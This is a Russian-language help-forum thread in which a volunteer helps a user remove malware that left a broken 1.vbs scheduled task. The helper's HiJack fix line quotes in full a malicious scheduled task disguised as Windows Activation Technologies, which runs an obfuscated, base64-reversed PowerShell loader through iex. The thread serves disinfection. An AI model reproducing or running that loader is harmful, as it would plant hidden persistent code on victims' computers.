Windows Defender обнаружил вирус

[Zayfour]

Пользователь сегодня заметил, что Защитник обнаружил 08.11 и поместил в карантин разные файлы. Прошелся Malwarebytes, удалил все, что он нашел. Но сейчас постоянно вылазит ошибка "Не удается найти файл сценария C:\ProgramData\Windows\Profile\1.vbs"
Возможно, не все удалилось.

[Info_bot]

Уважаемый(ая) Zayfour, спасибо за обращение на наш форум!

Помощь при заражении компьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста, поддержите проект.

[thyrex]

Пофиксите в HiJack из папки Autologger

O22 - Task: (activation) \Microsoft\Windows\Windows Activation Technologies\Windows Activation Technologies - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "$ddd = 'v23EQsBZ1UiZVZ4iyDG7Ud1ZzBGMTcoYnASYSsdfj2j2DpVy0WX/LOkRnAGMeasQkxXaCKc/kEXBVJ0R1VKlH5IZhByJX6ovwUO0Q/8v1WGOTbcC7nibF90ugHH3BJJMphWcXr8ViiCaH5AJwCWvX9clyy+kMaxX1lHPKadJwEGXXMFIgBSOFYVephWcXr8ViiKNAepkghXSXbVR6WGYFJ1IoHycSsZZiyzCDZMNnzGdBIcijRSBAo0TnDq9D5h7jHKxJ+5PrROdbsQHnguRXL5umFzeAsYAmh+QCdVUmEvMAuxxzEX9Sch371acE4gP6m6dS9RG3WHnXNsQmwDGI5wRnAWbM4cUjTy9G8RzmnSqK8cygROMeehOuAqLF/9pjTrASq4Chx2qEZsV3kS7BO1onwanT+F37CmWApIF52nYMIQOjWfuT7YtxiOcAo0RhSKNEYwVmi+9G4pn0VDvd84EixCXcvYFqBGXBPt20U7TWcYijRGMJIc1hhTAWbYo0UmrDqQwrTOSVpIU/XXaSsYUnyrYCJEWtVSLFMhdhhXIQ9hCwXy9GsgquHL+Ls4AlgSXcaVNtgyLCPdulEfLUMU9iQiBHZ0dyETTVPVrzDr8E/179WOkO5UB8HWlWcccm3GrOpIDnBi1StIChwWGFMBDjTCzMpR2i3/XOaYSkQ7QR+gBjw24W6Be00/eA9lZwVnBS4EWwFSbQb8snQSvVKZpv26TS8VCqn6XDt9GhGfvEpoZzBqCW9VSxgSDUtMNzGb9VNt/i2P6ObNO3AqSM+wOykuVCeokkFreGcpLzALVK7sJmwSNHbFPlBWhMOpwyWGIFZ0T8EDCWb4PnGP3BNdGiRTBS8wCxjGEHIcHqXLtBqtym374Zv8VxUSefekTnl7BE7ROigKIMY8VhgTVVJ0R01SaA+881ROhIOpmyWGKEJcO93jQSsZZmma+RY0RmF67BIkEnQOrH4wV027/QaJ+kWPXJ/8F2E2WeaVTy1fMGv9jkBOHVJpNjBWLUMAruwmbBPps3yLgCfl36XCkWsIm9nKVIZwOnDS3MosQgR6PWMAejQfFH4oajWTtSapujGPvbrIot06raPcFmgi3BPt/nBXSVJoDmF6vFZwijQOYH/FylDL7Fepz9izQSdFO1niZB6kSvGznSdZLwVDAVIkUw1KdSYEFgmjyBts+xGrjZbRB1Q6XaKVEiUyeBOJyjRreAtUruwmbBI0dxiSNCOsvtA/sCOt79WOkWsI10FvATboYjVH3E5YMj1jMAsFLzBHVWMwC1SPrR4pnk37+K75B2kzKNaw7yzjeRfUmyVyTFsBUiVDFFZlQ2VmTVPA82QjqH6826V/IPdFA+D23FolQqnbxCJEFlRWEA40ZjljMEchdjXa5XtBs22+3Ib5a0C6da6gvmQ+AAu47qh6JBI0dxiSAAo0RjBmGF7FMhBXqH6c273aMBdRE9kbJPtEmi2flPNsawVnGM4QfmxXAWdMZji+9EdBs23i3IaxDhQWUb+Ab3wrYQ6s5hBqfHJsVkxWQGZwNzB/VVPAvghTtFPtg8mqeSMhMpEarGo4JnG+tLJ4WgC3SSqUZhljdQNhAxCe9Btdbmnntd/RI0VvcbvZdnwCGQbJAqh6JBI0dxiSNCJxerR6LH/tonwbSXbVHz0LBTr8F8F+BF5gO0SbsSNZCwFSBW8pGgwXdCZo7jz/+S9As22X5PscUigmlJr8liAaEEf9fmBObI5wCgR6PWLMzhx6eFe11rFu1M+BQ+necVswz8G+RDZpV3XDwSNZZzALVK7sJmwSNHcY+jXO3Ppx1rXL7dvkSjD3CJsYSngSRBLI/mAPRUs4B1VLDVJoDwUvMArFAnQ3gEM5n72urBZwJ9nibF8BZn2PvEppZzALGJZsVmjGPFYYE1SPsCMIzjTn6cfMZgV3cbL5EiUuiBO5JnBSKH4YDjVjBDKcFnF2mBfNtyg==';iex('$d=([regex]::Matches(''==QKpcSKkRCKn5WayR3UnsyJ0V2RugjRUVlO601ZulGZvNmbF5Cd4VGVu0WZ0NXeTt1JogXZphCI4VWa7kiclJWb15GbhlmclNlLqJ2bkAyKgcCInAyKgwWZk9WTuomYvRCKgkSKkRGZkgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1WoAyYlRGI9ACZksjclJWb15GbhlmclNFIswWZk9WTgQ3YlxWZzBCfg03JwUkVJJFRMF0QJNVWIBFXuwFXnAScl1CIElUZjlmdlRkLfRyegUmclh2dgwHIlZXayR2azlGZfJzMul2dgkWb3dGI9Aiai9GJ9tjYjRCIuJXd0Vmc9tyKqRyOzRCIy9Gei1CIdpGJbJGckAicvhnYtASXpRyWiNGJg0DIdlGJbJ2YkszckAicvhnYtASKyUTMgI3bi1CIzRCIk5WYi1CIzIDKg0DIzRCI9BTPqRyepQnb192QuIGckASZn1CIqRCKml2epsyKpRCI7Qnb192QuI2YkACds1CIpRCI7ADI9ASakgicvZ2Ow0jaksTXwslYwRCI9AycksTKzNXYwRCKzVGd5JEdldkL4YEVVpjOddmbpR2bj5WRuQHelRlLtVGdzl3UbBSPgIGcksXKzNXYwRSXn5WayR3cbBCLiNGJd11WlRXeitFKjVGZg42bpR3YuVnZ'',''.'',''RightToLeft'') | ForEach {$_.value}) -jo'+'in '''';$d=[Text.Encoding]::UTF'+2*2*2+'.GetString([Convert]::FromBase'+8*8+'String($d));$d|i'+'ex;')"

Пожалуйста, ЕЩЕ РАЗ запустите Autologger; прикрепите к следующему сообщению НОВЫЕ логи.

[Zayfour]

Вот.

[thyrex]

Что с проблемой?

[Zayfour]

Ошибка больше не появляется. Других симптомов не видно.